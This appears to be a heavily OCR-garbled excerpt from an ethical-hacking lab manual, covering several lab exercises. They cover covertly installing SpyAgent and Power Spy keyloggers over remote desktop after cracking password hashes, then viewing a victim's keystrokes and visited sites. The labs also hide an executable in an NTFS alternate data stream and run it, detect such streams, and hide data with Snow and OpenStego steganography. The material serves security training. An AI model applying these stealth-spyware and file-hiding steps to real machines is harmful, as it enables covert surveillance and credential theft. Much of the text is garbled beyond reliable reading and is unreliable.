FIGURE 0.535 Start it
45, Close the Remote Desktep Connestion.

46. Now Log onto the Windows Server 2008 virmual machine’s Jasen acconmt
15 3 lepinmate nser (azmume Fom 2re acting 35 3 vietim).

EHrasu s

Lag In as a Vietim
and perform user 47. Browse the Internet (anything), or perform amy nser activaty.
activities T

? 92 =
AHHD
-. ATILE '-\.'[Inl' HETIONS,OF

FIRSGRAL 104K DRliWl

i w0 win 34 P ae dheeal

557 - wehiE LIS LR 8 T R el
w8 o LI o llan oy, & frisrelp @ seties Lnes Conmm nirg

|| Wobs that mglehe e senslies Tas S 585, 7

37 mk by ke P BH ool Soe Mo

= | Eaaier LT rd
i Pt 7y [3THDES AT, 1198 FON SITRONT IR CE
avirg a probdlem g oirsg in? Ve sss wiet thic ey
b .1 oyt ot g - Wi Taeen g
FIGLREE 7.3 Perfos Deer Actiwitics
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48. Now, swirch back to the host machine, and pediorm steps 1-8 to lmnch
Remote Deskiop Connection, (7ou are logmng i

50. Spragent will ask for an Access Password (qwertyli123); enter it and
click OK
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51. To check nser keystrokes from keyhoacd, click Keybeoard & Mouse on
the Spylgent &

E} g

52. Select View Keystrokes Log.

?, SpyAgent

T B P asl

Logging
Conligs Logging D
Banole Log Dalesy

Advascad Opliens

Frms & Documenis’ CI:.l:i'D_IIr'IfIHﬂm
a0 Fl B e gid i PmE ety

3. A list of keystrokes log entries is displayed. Select an application whose
log entries you want to view. Hese, bank yant detadls have been
wiewed.

Mote: If a User Account Contrel pop-up appears askmg you to disable the
TAC Yes.

gent dizplays all the resnlted keystrokes for the selected applicanion,
oon i soreenshot
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eyl el

A Farmmt i Aekuee

FICHUIRE .40 Ressbtad keystaies
isited by the nser, click Website Usage
56. Select View Websites Logged.

}: SpyAgent

ol s Options B Lo e = B Phas)

Darivival

Siang Beiinge wnd Config

Logging
Coaligy Dpia
My A Wi Wedame Y osed

e L S 1 Wrwices fged T » Banle Log Dalusy

Advascad Opliens
i 00 Kok 50 Aot

Conteni Fikerng
Pt nnd Bace dtery

il

wt Copmd m Sl

Braiil oggieg
Baikip Trguend L g

Bated iy

Gofadais Movicomy Ta

Bshavicr Asrin
Frralires dulady Ay

Saar] Marwarng T nor ] SDOPED. CACH “HEa Manmoanp® 10 Resae

as shown mn the
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Spyfnent Websies Log Viewer - F enknes

ETTTTITIIN  saibiore |- adsdantio | i
| B g e {2} ew sie. £ Espon A At JEE LG
Ealart = Wehsile Log Eniry

Pagus wialind far Salactad Wolsila

FIGLTRE %42 Rewdt of vasahil welnaie:
58. In the same way, you can select each tils to view all the actmines.
58. Onee you are finished, Close the remote deskop connection

60. Thus way, even an attacker can hack into 2 machine and mswll SpyAgent
to spy on all actrones performed by a wser on his /her system.

LAl ANAalysis

Amnalyze and docnment the resnles related to this lab execcise. Promide your opemon
eganding yonr tirget’s secnaty postuse and exposuge.

[ Yes
Platform Supported

[1 Classroom
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Lab

Fower Spy 2014 roftware allows you to secrerly moonitor and record all acnies on
WO £ aw'"s.w wich ir conbiletaly .-i_gu.

g ). O . =
1 ab Sr-ori=ism
R B AT Bl LY

Mew technologes allow emplovers to check whether employees are wasting time ar
moregnomal Web mmes or sending noprofesuonal emads. Ar the same tme,
orgamizations shonld be aware of local broes so thar therr legimate bnsness mierests
do not become an noacceptable wvasion of wodker pj:'rm:".' Before deplomme an
emploTes mamt:sma.g propram, vou zhomld claafy the tenms of accepmble amd
mnacceptable e of corporate resonsces dnsing words honss, and develop a
comprehenswe soceptable nse policy (AUF) that saff mmst apree to

In this lah, we explain shont moatonng emploves actimties nang Powes Spr 2014

Lab Objectives

The objpecore of tus bb s o help smdents nse the Actmry Monitor tool After
completing thiz lab, smdenrs will be able to:
" Insmll and confienre Pewer Spy 2014
*  Monitor keystokes typed, webaites misted, and Internet Traffie Dot
7 Tools Lab Environimen
demenstrated in
this lab are To perform the lab, you need:
available in .
D=ICEH-
Teols CEHvE " A computer maning Windows Server 3008 vrmal machine (mienm
Medule 05 System prachine
Mt O, download Power Spy tool at
bittpn /e enmmtriesoft. com S dowrnload phorp=power-spr-sofivans
If yon wish to download Latest version, sereenshots may differ
Admndstranve privileges to mstall and e tools

A compnter momng Windows Server 2012
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1 b M prret i
LAaD Liranon

Time: 15 Minnzes
Overview of the Lab

ED i ol This lab demonsiates smdents how to esablish semote desktop connection with 2
PR Sor b WActon niachine and ma Power Spy to secretly track nser activities.
m—a_ xk'“ ﬁ-z.::.‘.rr:s = n:“ 1. This b wodss only if the tupet machine is mmed ON.

P 2 As you have seen how to escalate primlepes in the earier lab (Escalating:
Prileges by Exploiting Client Side Vilnermhdites), you will nse the same
techniqne to escalate prvilepes and then droop the passwond hashes.

On chraining the hashes, yon vl nze passwoad eracking appheation snch as
RainbowCmck to obtamn plain text passwords.

4. Ognce yon have the passvroads handy, yon will esmblish 2 Remste Desktep
Comneetion a: an attacker, install Powes Spy, and leave it in stealth mede.

Mote: In thes lzb, you ate connecting remintely to 2 Windews server 2008
vmal machine. Yon can esmblish remote connection only for a2 nser accomne
granted adnemstave prvleges (here, Jaseon has adnemstotve ponleses)

5. The next tazk will be to log onto the virtual machine 23 a legrtimare nser {in
this case, you) and perform wser actwibes withowt being awase of the
applicanion tocking yons actimtes.

Having done so, yon will again establish 2 Remote Deskiop Connection as
an attacker, bong the appheanon oot of stealth mode. and momtor the
actimities performed on the wirmal machme by the vietim (o).

Lab Tasks

1. Rught-click the Windows icon and chick Search

me
FIGILIRE 1k L Selrcsasg Seech

2. Inthe npht pane. search for Remete Deshitop Connection.
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J. Click Remete Desktop Connection nndes the Search feld

Search

Parpahias

i and Deiaop
CoSr i

Maa
FTERE

Hoa Fagu ey
LA B0 B send Frie) T

'3 SEE! LA WD il U

fe<kiDp

q AL F ALY ared GelEICEE

2 Srincheyr fw R Doy Comaszzn
. The Femote Desktop Connection window appears; enter the TP address of
Windews Server 2008 (m this b, 10.0.0.11, vhuch nuphyt differ in yonr b
errimrunent] i the Computer fisld and click Shew Options.

Remote Desktop Connection | = | O [0

Remote Desktop
Connection

Cioprent

FIGLRE 10.% Estsdishong Rerses Dieskhop Crnmechon
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5. Enter a nsername whose acconat has administotve poavileges (here, Jasen),
and click Cennect.

L Remote Desktop Connection |-|_D-

l. Remote Desktop
Connection

‘arreal | Dy | Local Aescrces | Prograns | Bperence | Advenced

Legon seftings
" .' Brierthe rans of fe= smole conputer

I
Compuar | 1004071

Leer e, |.d5:|'

Tt sl b sk Tor Cradental B sl ol oofinesd
[ Sovw me 12 save crdentisls
Correction aetings

Saye the cumert connacion s=tings to an ADPdle or open s
smyed parnastion

Savm A | D

Cornpeat Hep

FIGURE 104 Basblibang Resoee Dkt Cimscticns
6. The host machine toes to establish a Bemote connection with the tarpet
oackine

A Windows Security pop-up appears; enter the passwood (gwerty) and
click OK.

Weindows Sacurnty M'

These cragengisk vall be usad to comnedt to 10011

H lasan
H Uze aather acoount
R 2rie

memher my credergish

| ok

FIGLIRE 105 Wandkoon Saety pop-uq
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. A Remete Deskiep Connection window appears; click Yes.

LE] Femote Deskiop Connection m

l'-'- Thes wlenbity ol the remcle compuier connol be verfied Do
<y want by connescd anymoy

The: errte computer oo nol be adhamicsied b e to problers aih bs
seouty certficate. | may be unsafe to prossed.

o Tollowing e wors srcountsred whin vefdabng the mmsin
CofpUlera canficas

1 Tha castificata & not hiom & trusted canfing sifoity

[z yous want bz ponnect deapite these cerfficabe amom?

| Dot ek s sgaer for cormscione {o this compaier

| ien cetficae s

FIGLIRE 10 Raraot Diskbon Consschon el

Mote: You cannot access a Remote Desltop Connection if the target machine
iz shme don. Thir ir pasbil andy i the aschine i in furned on.

9. A Remote Deshktop connection is mcoessinlly esmblished, as shown in the

FERTT Semros Tacrrot et =T

FIGLEE 17 R Diaddip Cronadae atdbbthal nadasatly
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10, Cloze the Server Manager window.
11. Nawigate m WP Adedress of Windews Server 2012]CEH-Taols'\CEHVD
FENTE Medule 05 System Hacking Spyware \General Spyware Pewer Spy 20114

'"5“”;;;':9' Spy 12 Domble-chck pespyid.one.
13, If the Open File - Security Waming pop-=p appears, click Run.
14. Follow the mstallation steps to mnstall Power Spy.
15. On completing the mstallation, the Run as Administrater window appezrs;
click Run.

FIGLRE 10& Run i ackerowtesher warcho

16. The Semp Lopin Password window appears; enter the password
(gwerty@123) in the New Passwerd and Confirm Passwerd felds.

17. Click Sulsmit.

FICILTRE 0% Sstegs bogren pisiwrcen] izdbersr
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18, The Weleome Te Power Spy Contrel Panel! webpage appears i the
defanlt beowser Cloze the browser

T

Welcoms To Power Spy Control Pane

e HITE,
i

i (SijEm

-

FIGLTRE U Weliase To Peaer Spy Cronteul Pand | Welypug:

19. If the Microseft Phishing Filter pop-up appears, select Ask me later

Help make your browser more secLre:
5Sat up Phishing Filter

Phishing Fiter s desgnec to wam you if the webse you ane wismng might o=
mpersonabtng anather websn= . What's Fhishing Flber?

© Turn o0 automatic Phishing Filter ( recommended)
Some webrsite addresses wil be sent to Morosaft 1o be drecked, Tnformaton
eceited wil notbe used 1o persanaly idenify you,

" Turn off 2utomatic Phishing Filtas
Website addresses wil nat be sent to Microseft unlesa you choose to dheck
tham

i+ gk melater

Aead the Ineenet Expinrer Brivacy Statement arring

FIGLEE 18011 Micomah Pirilung, Flier pop-age
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20. The Infermatien dislog box appears on the Semp login passwocd
wmndow, click OK.

Setup login password

S 3 pasEbe i Mg ha dafiwiss. Th
lrmars, moi bars and sermbols

Information

Yoo pessword b oroatod. Vo will uee 50 g i the softean

FIGURE 1012 Tnfrmmaben diakog hos

21. The Enter legin Passwerd window appears; enter the password (which
you set mn step 16).

22, Click Sulbsmit.

camn

FIGLERE LY Enter kspn Paswood wedoe
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23. The Register preduet window appears; click on Later to continne

24, The main windo Power Sp

Power Sp}" Contrgl Panel

RO NG

- 1 ..
;waﬁio}a
Configeranon
mecuied

Haip & Abour

®

Unretall

FIGLURE B0k 15: Mamn wondcrs of T
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Hrasw 3

Menitor and
Record User
Activities

FIGURE 1016 Stars semitering
If the System Rebeot Recommended window appears, chick QK

on Stealth Mede (stealth mode mans the Power spy completsly
mwiuble i the comxputer).

The Hetkey reminder dialog 3 ick on OK (to nohide the
youz PC keyboard).

]

Power Sp}" Coritiol Panel By oW .

l « BE

Hotkey reminder

Tha Sreaith Moda & staned and the softwans will e comphabeky s by,
Tor unhichs i, use your kotitey: Ced 4 AL+ X Prass the 3 keys togetter on
your ktybgand}, Hathey el works in caimen Windows user acoount, itis

doabled i1 pihas user acrounis for secormg.

LLLLL] [+ il Help & About
= = HNEl
e (F)

17 Hithey momanler deiiog-lxz
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Power SD}" Control Panel

Stop
maniong

Comfirm
A s S 0 Fmambee this?

LU T "ol Help & Abous
g m - b . J [
mmcater W ;j

FIGURE 1098 Cemficen i
30. Close the Remote Desktop Connection
to the Windows Server 2008 virmal machme’s Jason acconat

Hraswm o 31. Loy -
Perform User r a3 A wietim).
Activities

the Internet {anything perform any nser actroty. In this lab,
and LinkedIn websites kave been browrsed.
s, follow steps 1-8 w©
Remote Desktep Connection, (Tou are logmne in as an
attacker).

4. To bong Power Spy out of stealth mode, press Ctri+AIt+X.

Eghica] Hacking aml Counseinseanees Chy He-Demmell

et Ry S URERTHG- Tea |
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= _ | L]
A2, I'he Run as administrater wimndow appeass; chek on Run.

==

FIGLREE 10:1%: Rua da ddhistnidraber wingkn

36. The Enter legin passwerd window appears; enter the pasyword [whech
you set m step 16)

37. Click Submit.

=

FIGLRE MM Enter f priswr]
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ick Later in the Begister product window to continne.
Hrase s

View all the ]
Recorded Buy now .
Aetivities

Stealth Mode

Cond guration

®

Help & Abous

®

Unirstall

: on Keylegger froam

Start
manitarng

Stealth Miode
Configuration

Help & About

FIGUIRE 1022 Sefecsing ey
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41. It will display all the remlted keystrekes, as shown in the screenshor
T ————

FICGURE 10.23: Ressitos] bepstrikes
42, To check the webztes msited by the nser, click on website visited from
Power spy contrel panel

43, It will show the entire wservisited websites’ results, as shown in the
following screenshot:

Lir*ﬂdl:ﬂ Eresl ananiss

Be great at what you do. |

FIGLTRE 10:24: Remdt o nissed welidniie

44. This way, an attacker mught attempt to nsall key loggers and thereby
artain information related to the nser logped in websites, keystrokes, and
30 OfL
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Lab

F .
LAl ANAlysis

Amnalyze and doenment the resnlts related 1o the lab exescise. Provde yomr opmion
teganding yonr aopet’s secnnly postie 2nd exposige.

[ Yes
Platform Supported
B Classroom
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&"i o ol " asrme
=N B *'-J\.-

Hiding Files Using

- r:_u, } ot T

A gream consy of date asrockared wath a waan file or direcory (Emoum ar the
maint somnaneed strecns). Each il and divectory fin INTES can have mudt Erple data
ey what are generaily b ;dml from: the mer.

o

Chce the hacker has fully hacked the local system, installed thewr backdoors and
port redirectors, and obtained all the information available to them. they wall
proceed to back other systems on the network Most often, there are matching
serTice, adoumstraton, Of SEpPOCt ACCOTMILS {-;_*'].u:g om each system that make i
easy for the amacker to comprommse each system in a short amonnt of time As
each new syitem is hacked the attacker perfoom: steps to pather additional
system and password inforomtion Attackers continme to len:-ﬂge iJJfD:u.mti.Du
on each system nnnl they idennfy passwords for acconnts that reside on T
prozed systems mc'lndmg payroll, oot domain controllers, and Web servers, Tn
be zn expert ethical hacker and penetration tester, yon omst noderstand howr to
hide files nang MIFS streams

.

._...1 )‘ {‘_;II'L" .".'I'."'"

The objectrre of thes Iab is 1o help smdents learn how to hide files nung WIFS
stremms
L Teels It wall teach you how to:
demonstrated in il
this lab are " Tlze NTFS streams
availakle in - - .
24 Hide files
Teals\CEHVE [
Medule 05 System
Haeking To carry ont the lab yon need:

*  Windows Server A2 mnming 25 2 host machine

=
q -

Environiment

" A compnter maning Wendows Server 2008 as vrmal machine
®»  NIFS Foomatted €31 dove
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Lab Duration

Teme: 10 Aipmzes
Ovarvieaw of NTES Strasms
LheETvieww Of NI liiesainns

St IS sopercedes the FAT file system as the preferred file system for Microsoft
;flllj_‘:':i"" il ﬁw opetating systems, NIFS has se'rezil merovmm= over FAT and HPFS
{High Pecformance File System), such as improved sopport for metadata and the nse

of advanced data stmcmses

§ L. T gl -
LaD 1asKs

=] I. Puoothis lab in Windeows Server 2008 virmal machine.

TASK 1
2 Aake snze the €\ drive file system is of NTPS format. To check this, go

Hide Data Using to Cemputer, ooht click G2\, and dick Properties.

NTFS Streams

Froperoes. (8 Svowmw procermes [, LRSSt o g BORORAT  Lye Mep nemer e e

ATH |1 Trom r| Totsl S r| Fimn Soace r|
Howd [l Dwparss (1)

SEFETC T T T

e

Configure Shadkows Caokes

AEnire premus VI

FIGILEE 111 Checlryg the o of Wandkoon Serer 208
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J. The Leeal Disk (Ci) Preperties window appears; check for file system
format, and click OK.

[T alie

FIGURE 1.2 Wandows Server 2008 02, driver pripestiis
4. Open Windews Explorer, navigate to €: dove, create a new folder and

mame it magic. Using Windows Explorer copy cale.eme from
Crwindawsisystem3 to Ciimagic

FIGURE 115 Cograd e cne e o =gy
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Lannch the command prempt, = ed Crmagie. The command-
prompt directody paoimnts to th agie droive. MNow trpe netepad

FICILURE 1 L& (g chrvtuory te o herniga sal comiting oabine bt vyl He

5. The readme.ixt notepad appears; click Yes button if prompted to
ceeate 3 new readme.txt fle.

Ll Ul - Bidiind

FEGLRE 115 Caetng recke taf nobipnd Sle
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. Now type Helle Werdd ! in the notepad fils

|
Eiml ol @ " T |=- B R (| o el R

FIGLRE H& Ty Hellooudd 1o secimeset sk e

e st uata e 8. Click File, and click Save to save the readme.txt notepad file.
= vern ol Wik v o
g e the il e

T

FRFLEE 117 Seve the wackiesxt nobepad Alo
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iwmag i Fnosepad rondnn  Eur

oy =
EElume 10 drien © has no labs
Bolune fopisl Musher o TEEB-4hAF
Diractary of owmayic

mmand prompt:
type ermagicicale.exe > stimagicreadme.txt:eale.exe

Then press Enter.

wrh baligg ke o el

Eshical Hacking wnd
R ACRRATMO-TeaM !
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11. Type dir in command prompt and note the file size of readme.txt,
which sheuld net change Navigate to the diectory efmagie, and
delete eale.cxe.

T

o7 NTFS mepuernsches the
FAT Gl

FIGLURE [ Correrm] o= widh rmatey ikl ke e

E s = 12. Type the following command in the command prompt:

Execute mhlink backdeor.exe readme.txt:eale.exe
the Hidden Then press enter.
Application ; :
In the next line, type backdosr and press enter. The calenlatos progmm
will be executed 2z shown in the following sereenshot:
. .TF.51

FIGLRE 1111 Ceénrmrord prinmpit enth essasbal balilen cle eos
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13. In real-time, arackers may hide malicions files from being msible to the
legmmmate nsers by nsmg NIFS streams and execnte them whenever
requured

g L. A ¥
= & iN e =1 Y211
| =B H'I-C-?:':' =] ko

Diocnment all the resnlts discovered dunng the Iah

:. Yes

Plarform Supported

[ Classroom
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Lab

e e ]
Find Hidden Files Using ADS Spy

Adr 5y i a ool wsed to fis, ey or delete_Alernate Diata Streamy (A1) on
Windmer Server 2008 wirh ."k_.t"'__'-" ﬁw. sysfems

Alternate Data Streams (ADS) are a way of storng meta-anformation for files
withont acmally stomnng the mformation m the file i belongs to. All versions of
Windows operating systems support the WNTFS ADS sereams. When it comes 1o
secnaty, the danger of ATSez lies in the fact that the information they contain
does not alter any noticeable characteristics of the parienlar file to which they
are attached. Attackess nse the NTFS steams to hide sensitire nformanion on
the system and even stoze trojan execnmble filss in ADS stream= of random
fles on the system Use with cambon. As an expert ethical hacker and
penetmtion tester, you mmst noderstand how to idennfy and find files or data
hidden in ADS streams.

ab Objectives
The objective of this lab is to kelp smdenrs leam hewe to list, view, or delete
Alternate Data Streams and how to nse them
It vall teach yom how to
®  Tse ADS Spy
*  Find hidden files
Teals Lab Environment

demonstrated in > i
this lak are To carry ont the lab von need:

available in " ADE Spr locared m D:CEH-Tools\CEHvY Medule 05 System
D:\CEH- HackingNTF5S Stream Detector ToolslADS Spy
Tesls'CEHVE s O Foaniled -l . 1 x sDs S
Module 05 System 5 i o A ADS Spr a
Haekitg i o A 1, s

If yon wash © download the katest veruon, then seresnshors shown in the

lah might differ
R thiz tool in Windowrs Secver 2012
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Lab Duration

Time: 5 Wiinntes

ADS (alenae DS 3py 35 2 tool med to Bst, wewr, or dolete Alternate Data Streams (ADS) on

s & wasekenpe  Windowrs Server 2008 with NTES file systems. ADS Spy 5 a method of stodng
::' e R O mei-information of files, wthont actally stosng the infarmation mede the file o
belongs to.

Lab Tasks
Namigate to the ADS Spy diectory D:ICEH-Teols'CEHvD Module 05
System HackingHTFS Stream Detecter Tools\ADS Spy, and donhle-

click ADSSpy.exe.
If the Open File - Secwrity Warning appears, click Run.
ADS Spy mamn window appears, as shown in the following screenshot:

) ADS Spy v1.11 - Written by Merijn [ |

Almnabe Data Shaomes W05 a8 piecss of info kicde 22 metadata o e on NTFS dives T hew zim ool
wimhle m Esploisr s ths m2e ey bsbs op o nol reporisd by dogs: | brzaneesy hise b arr dhaled

W ADS 1o bide thei Bles, mvd vew b snlimabyvare soanres deten) Bhis, Llsp A05 Sy bo fred mvd mmowe
s sHEsn

Miober fhis ano can sleo cieplay legtin aha A05 sreams Dor't debela abaemes © ol A aol comoksel s thay
e makcous!

% Quick scan fi'mdows bees ke only)
I Full soms [l HTFS dipes|
7 Gean orly i folder

I

Igreore salbs spsiem info dats sreams enorptsh b=, Summand viainsaon, =tc|

[l dsie FOS checkngra ol chissme monlerts

|
Sioean the sesten lor dlerale dala shaame Remoye selacted sliaans:

FIGETRE 121 Welirome scrm. of ADS Spy
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Click Full sean (all HTFS drives) and check the opton lgnere safe

T e system inte data streams [“encryptable”, “Summarylnfermation®,

Sezan the system ete.).

for alternate data
streams

EH tasm 2

. Click Sean the system for altemate data streams.
4 ADS Spy w171 - Wiitten by Merijn -8 m

Ahainaie Dala Sheans [ADE] &8 pleces of nlo kedden a3 medacala on e of NTFS dilves They cia not
~ishble n Explorer and the siee thew Leke upos nol iepoted by Windovs, Aecent biowser hipchas daled
g 2005 o hide treir e and wen e arbmebesne scanners deteck thie Use 2095 Spw ke find and 1mnowee
Hree: ol gams

Miobe: Tz app can aso daplay Bgimeln ADS sreeme Don't deishs sheans § pou o nol complelal: zam ey
e mabcioa!

| v i pala ayelan nio dala 2leane | 'arctpplabla’, 'S ummaddnlomation’
[ Cakulate HOS chechoume of sheams’ conterds

= ADS are a way
of storing meta-
infermation
regarding files, ;
witheut astually [ i 05 Sloie - &FP_Apdefo 16D Bkl

EMI‘IH the £ Sl AFP Afpkfo [ED babes]

E E 1 D LDl H0EE i 5_5hote; AFF_ApInkD (BT Bl

IH"_T"EHH' in the |71 DM et imi n el et Loz atMicrasa i ind s T empaiary I ncines F Contew MED 20 90EEAF, poty
file it belongs te, DL O ppD 419 Lo IR Tampa) anie F i M50 A0 D330 e
aarvied aver fram D\ st dinLApp iy Lol i ra s VO ind s T ernpanary Iivesne: Files' Contee MS020F5 30 pphe
early MacQ35

compatibility

:" Fiemove selecled dieams |
d

[Gean cr.tr.{:-'ﬂz Found & lemane data w-!r.tr.z.l.zf';é.'::'i

FIGLRE 122 ADS Spy wealiw weth Full San selectal
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6. ADS spy displays a list contaming all the hidden streams

7. To remove the Altermate Diata Sweams, select the mrwanted streanys’
checkbozes and click Remeve selected streams.

- ADS Spy v1.11 - Written by Merin =T

Abainaie [ala Sheavs (AD5] &6 pleces of nio kdden &3 metadalaon s on NTFS dibes: They e rot
wishblbe m Exphorer and the see ey beke up iz nol ispoded by Windove, Aecent biossen hijac ke Salsd
wing 205 I hide ther flzs and ven fem adimeieens soanner: detect thie Ues 8095 Spa be lind s iemoes
Hrse: dligas

Flote: e app can also dapley agimals A0S sreems, Dont delebe dreane §pou o nol complelely a0 ey
s mafcious]

= Quick-sesr uirdoss bass iolde oosy|

* Full acan [ MTFS divaz]

" San oy iz ke | = |
e pala aelan nlo dala alae [arcipplabks’, 'Summadilomation!, alc|

= nﬂ'l'll'-'ﬂ“H'E [ Cedeudate HOS chechaunne: of sheams’ congeris

with: Windews
Eoprver 2012 and Sezari hs mystem For sleinale dets dieans | Femove selecled dreans |

2008

o AED Al

15 Shoe: AFF_AF i
1w Mebwork' DS_Sioe : SFP_Afpkfc foaset]
W05 Gloe AFF AN (6D byl
s Tempanany Inceinet Files\ Contert ME0N202EEAF podn
e Tarpoiay laiene F Caoni et M0 W30 DR ppey
U md s T erporany Ibeines Files Conted MS029F95 00 pphe -

[Gean compiete found B albemats date sresms [R05)

FIGURE 12% Forud the: Bidelen sisins Bls

Docnment all the resnlts and seports gathered dnong the kb,

0 Yes
Platform Suppornted
B Classroom
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Lab

Sy &5 swerd 20 coneea) smenicgper i —Hf_ﬂmr{; LI"‘.ﬁl’ﬁ-'ng{&"ﬂf‘!I end g B, Beose
e il el are gevenall) vl g e, He mesge & gone) ’.sr‘%n frove gz
n’@rm_—_l.l.r‘," the Dol eyt & vl e maesiepe cmmner b m:";mm i s

P
-2nano

Metwock stepanopraphy desesibes all the methods nsed for tansmitting dats over a
netorodk withont it beme detected  Sevenl method: for iding dim in 3 netwods
have been proposed, but the main dawhack of most of them is that they do not
offer a zecondary laver of protection If .»t{-g.m:!g:l.p_ 15 detected the dat iz in plin
e Armckers nse steganography to tansfer sensitme information ont of the Greet
system na detected. To be an expert Ethacal Hacker and Penetranon Tester, you
nmst have sonnd bnovdedpe of manon: stemanogmaphy techmiomes
Lab Objectives
The objective of this Iab is to help smdents learn-

Using Snow steganography to hide files and data

Hiding files nang spaces and tabs
ib Environment
To caery om the lab, yon need:

v Snowlocated at CEH-Tools'\CEHvY Medule 05 System
o Teels Hacking'Steganegraphy TeslsWhitespace Steganography Teols Snow
demenstrated in . i
i b aee Bnn thiz tool oo Windows Secver 2012
available in O, download the latest  version of

D:\CEH- bitp: / ‘worw.darkside com an /snowr
Tools i CEHvE

Meodule 05 System If vom wsh to download the latest verson, then sereenshots shown in

Haeking the lab nrght differ
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a = T e N

Lab Duration

Time: 5 Afinntes

T o
Overview of Snow

Sncer explorts the stepanographic namee of whitespace. Locatmy traiing whitespace
i texx i like findwe 3 polar bear in 2 snow storm, it wses the ICE encryption
algonthm, so the name 15 themancally consistent:

Lab Task

(e

o= Eep—— 1. Namgate to D:\CEH-ToolsiCEHVY Medule os System
g ] Hacking'Stegansgraphy TeolsiWhitespace Steganography Teels, nghe-
Hide Data Usirg click the Snew folder, and select CmdHere from the contest menm.

=
Olpen notepad, type Helle World! and press Entes; then long press hyphen
to drawr a line below it

Zave the fle a3 readme.brt m the folder whee SHNOW.EXE is located.

readme tit - Notepad m

Fie Ede  Formet Ve

Hellp World!

epher- ek

mwade, which alieugh
e (ot 1 full

FIGLURE IA L Cramests of oo s
Type this command in the command shell-
snow =G -m "My swiss bank account number is 456566845122637 p
“magic” readme.txt readmed. b

(Here, magie = the passoood You can type your desred passorood also
readme txt 1= the name of another file wheh wll be creared atomaticalty
n the same locanon )

Agminstratan C\WnSowssstamIZomitee [=10

FIGLRE 132 b Contars Of mak tot -l the b in the kel Ble
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the dam My Swiss bank account number is 456566845122637) is
Lu"]dzj imzide the readme2.ba fille with the contents of readme.txt.

The contents of readme.bt 2@ readmett — My Swiss bank account
number is 45656684512263.

type shew -C ¢ "magic” readmeZ.tut, it will show the comtents of
ic g5 iding the data).

nt memdar bz SALLLH .:nl

v Wi mppEosiRsbely ART, 5

TRE 135 Rewmdry the el chi o ) bk

To check the file in GUI, open the readme2.tut m notepad and go
< Select all, Yoo will see the hidden data inside readmeZ.tut m form of

spaces and tabs.

readmeZ bet - Notepad

FIGLRE 134 Cene bl B vl weath dadkes ol e

B Eshical Hacking sml
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! el 651 [Efztd® Hatiing HaCkRhInO-TeaM !

T )
LaD ANAlYSIS

Amnalyze and docnment the resnlts related 1o the lab exercize

O Yes
Platform Supported
[ Classroom
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Lab

"?h T

T e =Ta = adano . fa
11 .4=.F-"=-35--n" =] 1= I'"f- a'*--"fl *. 71 i
-3 L) = 5 f

ObbenSrego 15 a sreganogradly ool that bides dasa iside fwqges.

b Scenano

The terronsts know thar =n:.1.1.m"d|£nemrpe of fles can haold all sorms of Indden
mformaton, and T_c'kmg of finding these files can be an almost inposuhle msk 5o
they mse .-'I:Lﬂg.ll‘:.'lﬂl.c t‘C_IJ.'IIII'IC-G to hide dam. Thas allows them to retueve messages
from their home hases and send back npdates withont a hent of malicions actmty

heing detectad

These messages can be placed in plam sght. and the servess that sepply these files
il never know it. Fnding these messapes 15 like finding the provedosl "peedle” m
the Wodd Wide Web haystack

In order to be an exper ethical hacker and penetranon tester, yom omst noderstand
how to hide the texr inside the image. In ths Iib we show how the text can be
Iudden inude an mage nang OpenStegn tool.
Lab Objectives
The ohyecerre of this lab is to help the smdents howr to kide secret text meszages in
Lab Environment
To pecform this lib, yom need:

® A computer manine Wandows Server 2012

®  Windows 5.1 mannme as vrmal machine

" Opendtego located ar DOCEH-Tools'CEHvE Medule 05 System
Hacking Steganegraphy Teslsiimage Steganography TeolsiOpenStegs

Jora Bmatime Eovmonment locaed ar DOCEH-Tools'\CEHVS Lab
PrevequisitesiWava Runtime Envirenment

Adnemstarwe prmlepes to mstall and nun tools
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Ok, dowmioad the CpenStepo tool from
hvp: / fsonrceforme net/ projects /openstesn /files

® If youwish to dowmload atest version scoeenshots may differ
®  Bnn ths tool on the Windows 8.1 mrinal machme

Lab Duration

Time: 10 Mimrtes

Overview of OpenStego

OrpenStego is Java-based applicanon and sopporms passwood-based encryption of
data for addional laver of seenory. It nses DES alpomthm for data encryption, mn
conmnction with MD5 hashing to derve the DES key from the passooed provded
Lab Tasks
T

[ FE—— 1. Lannch the Windows 8.1 wirmal machine from Hyper-V Managar and

log in to the Admin nser acconnt.
Install Java

Rumskirne - Mampgare o ZNCEHVE Lab Prerequisitesiava Runtime Envirenment
Environment and double-click jre-T-windews-xGd.exe.

j. Ifa User Aecount Contrel pop-up appears, click Yes.

Follow the wizasd drven installation steps to install Java Euntime
Enmvironment.

lava Setup - Welcome ﬂ

< Java

Welcome to Java™
L;'.l} Shvpr s wree
mu pung Jared drud ghondl fom

i 3l platfemms nupperted Jeem pravides safe and secure areess o the wiodd of & mring Jews carznt

by o Frorn business soluions

is geihered as pad of our insiall process

ar o wtalwe do collect
Click Install o accept the hicensa agras il mand insisll Jave no

Cherae dagialion loken Carcel | L

FIGLURE 14.5: Teigalony Jen Ruezne Enviomenent

CEH Lab Munus] Page 572 Eshical Hackdng aull(kluuﬂrnnfunm .I' .-ninn.ryju!.l: :-;. EC-Csmmell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Wortlilie (81 [Simut Habidng HaCkRhInO-TeaM !

5. Ownee done with the installation dick Glose.

lava Setup - Complete “

S Javar

o You have successfully installed Java

FICATRE 14.2 Inwaller] Jaw Rurerme Envesirenant

Hrasx 3 . Mampare to ZNCEHVS Madule 05 System Hacking\Steganography
Teslsiimage Steganography TeslsOpenStege, and donble-click
Install OpenStege Setup-OpenStege-0.6.1.cxe.

/. If the Open File - Security Warning pop-up appears, click Run.
If 2 User Account Centrel pop-np appears, click Yes.

. If 2 Windows Seeurity dmlog-box appears, enter the credentizls of
Windews Server 2012 wirmal machine, and click OK.
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10. The OpenStege setnp wizard appears, click | Agree.

=] Openstego Setup

s Adrespmenit

Please revgs B loarse e before Fotaling OpenSheco.

Fresc Fege Cown o ses the rest of e sgresment

| GHU GENERAL PLELIC LICANEE
Werson 2, Jure 1981

Copyright (T} 198

arbdin

The liosrses for nost softwan
1oLl 3O0EET e T ol the Soreement, Sick [ Agras 10 ONHALR, You MUEt 30eat e

agreamat bs rstal CpenStegn

